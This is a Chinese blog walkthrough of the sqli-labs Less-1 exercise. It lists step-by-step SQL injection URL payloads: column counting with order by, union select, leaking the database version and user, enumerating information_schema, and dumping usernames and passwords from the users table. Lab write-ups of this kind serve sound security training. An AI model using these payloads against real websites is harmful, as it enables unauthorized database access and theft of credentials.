sqli-labs/less-1:基于错误提示的sql注入

根据大佬的文章做的sql注入
在这里插入图片描述打开less-1得到以上界面,页面提示:输入数字范围内的id
首先构造URL,?id=1会得到以下界面
在这里插入图片描述然后依次向下试验,发现到id=13时没有出现任何信息
在这里插入图片描述当输入id=1’ order by 1,‘1时,页面与输入id=1一样,但是并未出现语法错误,原因是sql语句会变成id=‘1’ order by 1,‘1’。所以依次试下去会发现order by 2和3都是能显示信息的,而id=1’ order by 4,‘1又出现了新的信息
在这里插入图片描述说明这张表只有三个字段,利用union select:构造id=1’ union select 1,2,3 order by 1,‘1
在这里插入图片描述出现了新的用户和密码。但是需要查看数据库名以及MySQL版本的时候,必须设置成id=13,这是由于网页只能显示表的第一行,要想出现新的信息,就得把之前的信息覆盖掉,利用到id=13无信息的特点可以出现新的信息。
在这里插入图片描述以下是拼接函数的利用:
构造?id=13’ union select 1,2,concat_ws(’:’,database(),version(),user()) order by 1,‘1
在这里插入图片描述构造URL查询表的信息:13’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security’ order by 1,‘1
在这里插入图片描述只有四张表存在,然后可以查询users的字段
构造id=13’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=‘security’ order by 1,‘1
在这里插入图片描述只有两个字段username和password
可以把所有的字段都列出来
构造id=13’ union select 1,2,group_concat(concat_ws(’:’,id,username,password)) from users order by 1,'1
在这里插入图片描述以上完成注入。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值